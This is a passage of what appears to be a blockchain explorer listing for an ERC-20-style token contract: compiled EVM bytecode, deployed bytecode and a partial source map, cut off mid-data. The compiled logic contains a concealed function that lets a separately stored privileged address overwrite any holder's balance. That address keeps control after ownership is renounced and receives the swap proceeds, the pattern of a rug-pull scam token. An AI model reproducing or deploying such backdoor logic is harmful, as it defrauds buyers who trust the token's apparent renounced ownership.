50611edf83611bc9565b9250828203905081811115611ef757611ef6611e9a565b5b92915050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b6000611f33601183611abf565b9150611f3e82611efd565b602082019050919050565b60006020820190508181036000830152611f6281611f26565b9050919050565b600081519050611f7881611b9d565b92915050565b600060208284031215611f9457611f93611b66565b5b6000611fa284828501611f69565b91505092915050565b6000604082019050611fc06000830185611d56565b611fcd6020830184611d56565b9392505050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b600061200a600883611abf565b915061201582611fd4565b602082019050919050565b6000602082019050818103600083015261203981611ffd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006120c36120be6120b98461209e565b611d80565b611bc9565b9050919050565b6120d3816120a8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61210e81611b8b565b82525050565b60006121208383612105565b60208301905092915050565b6000602082019050919050565b6000612144826120d9565b61214e81856120e4565b9350612159836120f5565b8060005b8381101561218a5781516121718882612114565b975061217c8361212c565b92505060018101905061215d565b5085935050505092915050565b600060a0820190506121ac6000830188611c75565b6121b960208301876120ca565b81810360408301526121cb8186612139565b90506121da6060830185611d56565b6121e76080830184611c75565b9695505050505050565b600061220c6122076122028461209e565b611d80565b611cf2565b9050919050565b61221c816121f1565b82525050565b60006020820190506122376000830184612213565b92915050565b600061224882611bc9565b915061225383611bc9565b925082820261226181611bc9565b9150828204841483151761227857612277611e9a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006122b982611bc9565b91506122c483611bc9565b9250826122d4576122d361227f565b5b828204905092915050565b60006122ea82611bc9565b91506122f583611bc9565b925082820190508082111561230d5761230c611e9a565b5b9291505056fea264697066735822122066482c8ece882f4abf2adeeb4f05a1a73bb468865872ab4871a62784b7652da264736f6c63430008120033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb146103f1578063ce0192f91461042e578063d1d3f2f114610459578063dd62ed3e14610484578063e14ac89f146104c1578063f2fde38b146104ea57610135565b806370a0823114610330578063715018a61461036d5780638da5cb5b1461038457806395d89b41146103af578063a6b9c42e146103da57610135565b806336b2e027116100f257806336b2e027146102355780633bfe62ca146102725780633ecad2711461029d5780634bf28fd0146102da57806365b61b771461030557610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610513565b60405161015c9190611b44565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611bff565b6105a5565b6040516101999190611c5a565b60405180910390f35b3480156101ae57600080fd5b506101b76105bc565b6040516101c49190611c84565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611c9f565b6105c6565b6040516102019190611c5a565b60405180910390f35b34801561021657600080fd5b5061021f61076c565b60405161022c9190611d0e565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190611d29565b610783565b6040516102699190611c5a565b60405180910390f35b34801561027e57600080fd5b506102876107a3565b6040516102949190611c84565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190611d29565b6107a9565b6040516102d19190611c5a565b60405180910390f35b3480156102e657600080fd5b506102ef6107c9565b6040516102fc9190611d65565b60405180910390f35b34801561031157600080fd5b5061031a6107ef565b6040516103279190611ddf565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611d29565b610815565b6040516103649190611c84565b60405180910390f35b34801561037957600080fd5b5061038261085e565b005b34801561039057600080fd5b506103996109aa565b6040516103a69190611d65565b60405180910390f35b3480156103bb57600080fd5b506103c46109d3565b6040516103d19190611b44565b60405180910390f35b3480156103e657600080fd5b506103ef610a65565b005b3480156103fd57600080fd5b5061041860048036038101906104139190611bff565b610e29565b6040516104259190611c5a565b60405180910390f35b34801561043a57600080fd5b50610443610e40565b6040516104509190611c84565b60405180910390f35b34801561046557600080fd5b5061046e610e46565b60405161047b9190611d65565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a69190611dfa565b610e6c565b6040516104b89190611c84565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190611bff565b610ef3565b005b3480156104f657600080fd5b50610511600480360381019061050c9190611d29565b610ff8565b005b60606004805461052290611e69565b80601f016020809104026020016040519081016040528092919081815260200182805461054e90611e69565b801561059b5780601f106105705761010080835404028352916020019161059b565b820191906000526020600020905b81548152906001019060200180831161057e57829003601f168201915b5050505050905090565b60006105b23384846111b2565b6001905092915050565b6000600854905090565b60006105d384848461129d565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107615781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e09190611ec9565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600660009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b600d5481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109e290611e69565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0e90611e69565b8015610a5b5780601f10610a3057610100808354040283529160200191610a5b565b820191906000526020600020905b815481529060010190602001808311610a3e57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90611f49565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c419190611f7e565b905060008173ffffffffffffffffffffffffffffffffffffffff1663c9c65396308573ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd19190611f7e565b6040518363ffffffff1660e01b8152600401610cee929190611fab565b6020604051808303816000875af1158015610d0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d319190611f7e565b905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000610e3633848461129d565b6001905092915050565b600c5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9d57600080fd5b81816020018181525050806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d90611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90612020565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112909190611c84565b60405180910390a3505050565b600080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113065750600b60009054906101000a900460ff16155b801561135c5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113b25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113f05760006113c230610815565b905060008111156113ee5760008490508181116113df57806113e1565b815b90506113ec81611522565b505b505b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114945750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114ad5750600b60009054906101000a900460ff16155b156114b757600191505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561150e57600190505b61151b85858585856117cb565b5050505050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561155a57611559612040565b5b6040519080825280602002602001820160405280156115885781602001602082028036833780820191505090505b50905030816000815181106115a05761159f61206f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611647573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061166b9190611f7e565b8160018151811061167f5761167e61206f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161173f959493929190612197565b600060405180830381600087803b15801561175957600080fd5b505af192505050801561176a575060015b6117ab577fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f16600060405161179e9190612222565b60405180910390a16117ac565b5b506000600b60006101000a81548160ff02191690831515021790555050565b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118169190611ec9565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082156119a3576000821561187357600d549050611879565b600c5490505b600060648287611889919061223d565b61189391906122ae565b905060008111156119a05780836118aa91906122df565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f791906122df565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119979190611c84565b60405180910390a35b50505b80846119af9190611ec9565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f991906122df565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a979190611ec9565b604051611aa49190611c84565b60405180910390a3505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611aee578082015181840152602081019050611ad3565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b1682611ab4565b611b208185611abf565b9350611b30818560208601611ad0565b611b3981611afa565b840191505092915050565b60006020820190508181036000830152611b5e8184611b0b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b9682611b6b565b9050919050565b611ba681611b8b565b8114611bb157600080fd5b50565b600081359050611bc381611b9d565b92915050565b6000819050919050565b611bdc81611bc9565b8114611be757600080fd5b50565b600081359050611bf981611bd3565b92915050565b60008060408385031215611c1657611c15611b66565b5b6000611c2485828601611bb4565b9250506020611c3585828601611bea565b9150509250929050565b60008115159050919050565b611c5481611c3f565b82525050565b6000602082019050611c6f6000830184611c4b565b92915050565b611c7e81611bc9565b82525050565b6000602082019050611c996000830184611c75565b92915050565b600080600060608486031215611cb857611cb7611b66565b5b6000611cc686828701611bb4565b9350506020611cd786828701611bb4565b9250506040611ce886828701611bea565b9150509250925092565b600060ff82169050919050565b611d0881611cf2565b82525050565b6000602082019050611d236000830184611cff565b92915050565b600060208284031215611d3f57611d3e611b66565b5b6000611d4d84828501611bb4565b91505092915050565b611d5f81611b8b565b82525050565b6000602082019050611d7a6000830184611d56565b92915050565b6000819050919050565b6000611da5611da0611d9b84611b6b565b611d80565b611b6b565b9050919050565b6000611db782611d8a565b9050919050565b6000611dc982611dac565b9050919050565b611dd981611dbe565b82525050565b6000602082019050611df46000830184611dd0565b92915050565b60008060408385031215611e1157611e10611b66565b5b6000611e1f85828601611bb4565b9250506020611e3085828601611bb4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e8157607f821691505b602082108103611e9457611e93611e3a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ed482611bc9565b9150611edf83611bc9565b9250828203905081811115611ef757611ef6611e9a565b5b92915050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b6000611f33601183611abf565b9150611f3e82611efd565b602082019050919050565b60006020820190508181036000830152611f6281611f26565b9050919050565b600081519050611f7881611b9d565b92915050565b600060208284031215611f9457611f93611b66565b5b6000611fa284828501611f69565b91505092915050565b6000604082019050611fc06000830185611d56565b611fcd6020830184611d56565b9392505050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b600061200a600883611abf565b915061201582611fd4565b602082019050919050565b6000602082019050818103600083015261203981611ffd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006120c36120be6120b98461209e565b611d80565b611bc9565b9050919050565b6120d3816120a8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61210e81611b8b565b82525050565b60006121208383612105565b60208301905092915050565b6000602082019050919050565b6000612144826120d9565b61214e81856120e4565b9350612159836120f5565b8060005b8381101561218a5781516121718882612114565b975061217c8361212c565b92505060018101905061215d565b5085935050505092915050565b600060a0820190506121ac6000830188611c75565b6121b960208301876120ca565b81810360408301526121cb8186612139565b90506121da6060830185611d56565b6121e76080830184611c75565b9695505050505050565b600061220c6122076122028461209e565b611d80565b611cf2565b9050919050565b61221c816121f1565b82525050565b60006020820190506122376000830184612213565b92915050565b600061224882611bc9565b915061225383611bc9565b925082820261226181611bc9565b9150828204841483151761227857612277611e9a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006122b982611bc9565b91506122c483611bc9565b9250826122d4576122d361227f565b5b828204905092915050565b60006122ea82611bc9565b91506122f583611bc9565b925082820190508082111561230d5761230c611e9a565b5b9291505056fea264697066735822122066482c8ece882f4abf2adeeb4f05a1a73bb468865872ab4871a62784b7652da264736f6c63430008120033

Deployed Bytecode Sourcemap

2496:6352:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4525:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5288:159;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4729:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5455:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4627:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2783:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3094:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2927:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3134:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2882:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4837:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2119:148;;;;;;;;;;;;;:::i;:::-;;1922:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4419:98;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3832:579;;;;;;;;;;;;;:::i;:::-;;4964:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3057:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2667:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5137:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7022:379;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2275:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4525:94;4573:13;4606:5;4599:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4525:94;:::o;5288:159::-;5363:4;5380:37;5389:10;5401:7;5410:6;5380:8;:37::i;:::-;5435:4;5428:11;;5288:159;;;;:::o;4729:100::-;4782:7;4809:12;;4802:19;;4729:100;:::o;5455:336::-;5553:4;5570:36;5580:6;5588:9;5599:6;5570:9;:36::i;:::-;3046:1;3037:11;5621;:19;5633:6;5621:19;;;;;;;;;;;;;;;:31;5641:10;5621:31;;;;;;;;;;;;;;;;:38;5617:145;;5744:6;5710:11;:19;5722:6;5710:19;;;;;;;;;;;;;;;:31;5730:10;5710:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;5676:11;:19;5688:6;5676:19;;;;;;;;;;;;;;;:31;5696:10;5676:31;;;;;;;;;;;;;;;:74;;;;5617:145;5779:4;5772:11;;5455:336;;;;;:::o;4627:94::-;4679:5;4704:9;;;;;;;;;;;4697:16;;4627:94;:::o;2783:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;3094:31::-;;;;:::o;2927:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;3134:27::-;;;;;;;;;;;;;:::o;2882:36::-;;;;;;;;;;;;;:::o;4837:119::-;4903:7;4930:9;:18;4940:7;4930:18;;;;;;;;;;;;;;;;4923:25;;4837:119;;;:::o;2119:148::-;2059:10;2049:20;;:6;;;;;;;;;;:20;;;2041:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;2226:1:::1;2189:40;;2210:6;::::0;::::1;;;;;;;;2189:40;;;;;;;;;;;;2257:1;2240:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2119:148::o:0;1922:79::-;1960:7;1987:6;;;;;;;;;;;1980:13;;1922:79;:::o;4419:98::-;4469:13;4502:7;4495:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4419:98;:::o;3832:579::-;2059:10;2049:20;;:6;;;;;;;;;;:20;;;2041:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;3875:25:::1;3918:42;3875:86;;4035:10;4018:14;;:27;;;;;;;;;;;;;;;;;;3046:1;3037:11;4056;:26;4076:4;4056:26;;;;;;;;;;;;;;;:47;4091:10;4056:47;;;;;;;;;;;;;;;:53;;;;4120:27;4166:10;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4120:67;;4198:16;4217:11;:22;;;4248:4;4255:10;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4217:56;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4198:75;;4299:8;4284:12;;:23;;;;;;;;;;;;;;;;;;4343:4;4318:12;:22;4331:8;4318:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;4399:4;4358:17;:38;4384:10;4358:38;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;3864:547;;;3832:579::o:0;4964:165::-;5042:4;5059:40;5069:10;5081:9;5092:6;5059:9;:40::i;:::-;5117:4;5110:11;;4964:165;;;;:::o;3057:30::-;;;;:::o;2667:19::-;;;;;;;;;;;;;:::o;5137:143::-;5218:7;5245:11;:18;5257:5;5245:18;;;;;;;;;;;;;;;:27;5264:7;5245:27;;;;;;;;;;;;;;;;5238:34;;5137:143;;;;:::o;7022:379::-;7112:19;7134:144;;;;;;;;7183:10;7134:144;;;;;;7218:1;7134:144;;;;7245:7;7134:144;;;;;7112:166;;7305:5;:12;;;7297:20;;:4;;;;;;;;;;;:20;;;7289:29;;;;;;7341:6;7329:5;:9;;:18;;;;;7382:5;:9;;;7358;:21;7368:5;:10;;;7358:21;;;;;;;;;;;;;;;:33;;;;7101:300;7022:379;;:::o;2275:214::-;2059:10;2049:20;;:6;;;;;;;;;;:20;;;2041:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;2384:1:::1;2364:22;;:8;:22;;::::0;2356:43:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2444:8;2415:38;;2436:6;::::0;::::1;;;;;;;;2415:38;;;;;;;;;;;;2473:8;2464:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2275:214:::0;:::o;5799:177::-;5914:6;5884:11;:18;5896:5;5884:18;;;;;;;;;;;;;;;:27;5903:7;5884:27;;;;;;;;;;;;;;;:36;;;;5952:7;5936:32;;5945:5;5936:32;;;5961:6;5936:32;;;;;;:::i;:::-;;;;;;;;5799:177;;;:::o;5984:931::-;6100:12;6123:11;6151:12;:16;6164:2;6151:16;;;;;;;;;;;;;;;;;;;;;;;;;:27;;;;;6172:6;;;;;;;;;;;6171:7;6151:27;:55;;;;;6183:17;:23;6201:4;6183:23;;;;;;;;;;;;;;;;;;;;;;;;;6182:24;6151:55;:81;;;;;6211:17;:21;6229:2;6211:21;;;;;;;;;;;;;;;;;;;;;;;;;6210:22;6151:81;6147:527;;;6249:28;6280:24;6298:4;6280:9;:24::i;:::-;6249:55;;6346:1;6323:20;:24;6319:344;;;6368:27;6398:6;6368:36;;6467:20;6445:19;:42;:147;;6573:19;6445:147;;;6552:20;6445:147;6423:169;;6611:36;6627:19;6611:15;:36::i;:::-;6349:314;6319:344;6234:440;6147:527;6691:17;:23;6709:4;6691:23;;;;;;;;;;;;;;;;;;;;;;;;;6690:24;:50;;;;;6719:17;:21;6737:2;6719:21;;;;;;;;;;;;;;;;;;;;;;;;;6718:22;6690:50;:61;;;;;6745:6;;;;;;;;;;;6744:7;6690:61;6686:108;;;6778:4;6768:14;;6686:108;6810:12;:16;6823:2;6810:16;;;;;;;;;;;;;;;;;;;;;;;;;6806:40;;;6839:4;6830:13;;6806:40;6858:49;6873:4;6879:2;6883:6;6891:7;6900:6;6858:14;:49::i;:::-;6087:828;;5984:931;;;:::o;8363:445::-;3211:4;3202:6;;:13;;;;;;;;;;;;;;;;;;8440:21:::1;8478:1;8464:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8440:40;;8509:4;8491;8496:1;8491:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;8535:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8525:4;8530:1;8525:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;::::0;::::1;8571:14;;;;;;;;;;;:65;;;8651:11;8677:1;8693:4;8720;;;;;;;;;;;8740:15;8571:195;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8567:232;;8783:13;8794:1;8783:13;;;;;;:::i;:::-;;;;;;;;8567:232;;;;8429:379;3247:5:::0;3238:6;;:14;;;;;;;;;;;;;;;;;;8363:445;:::o;7409:914::-;7623:7;7603:9;:17;7613:6;7603:17;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;7583:9;:17;7593:6;7583:17;;;;;;;;;;;;;;;:47;;;;7641:17;7675:7;7671:499;;;7699:14;7734:6;7730:129;;;7770:12;;7761:21;;7730:129;;;7832:11;;7823:20;;7730:129;7873:18;7913:3;7904:6;7894:7;:16;;;;:::i;:::-;:22;;;;:::i;:::-;7873:43;;7948:1;7935:10;:14;7931:228;;;7983:10;7970:23;;;;;:::i;:::-;;;8066:10;8039:9;:24;8057:4;8039:24;;;;;;;;;;;;;;;;:37;;;;:::i;:::-;8012:9;:24;8030:4;8012:24;;;;;;;;;;;;;;;:64;;;;8125:4;8100:43;;8109:6;8100:43;;;8132:10;8100:43;;;;;;:::i;:::-;;;;;;;;7931:228;7684:486;;7671:499;8239:9;8229:7;:19;;;;:::i;:::-;8205:9;:20;8215:9;8205:20;;;;;;;;;;;;;;;;:44;;;;:::i;:::-;8182:9;:20;8192:9;8182:20;;;;;;;;;;;;;;;:67;;;;8282:9;8265:48;;8274:6;8265:48;;;8303:9;8293:7;:19;;;;:::i;:::-;8265:48;;;;;;:::i;:::-;;;;;;;;7572:751;7409:914;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;38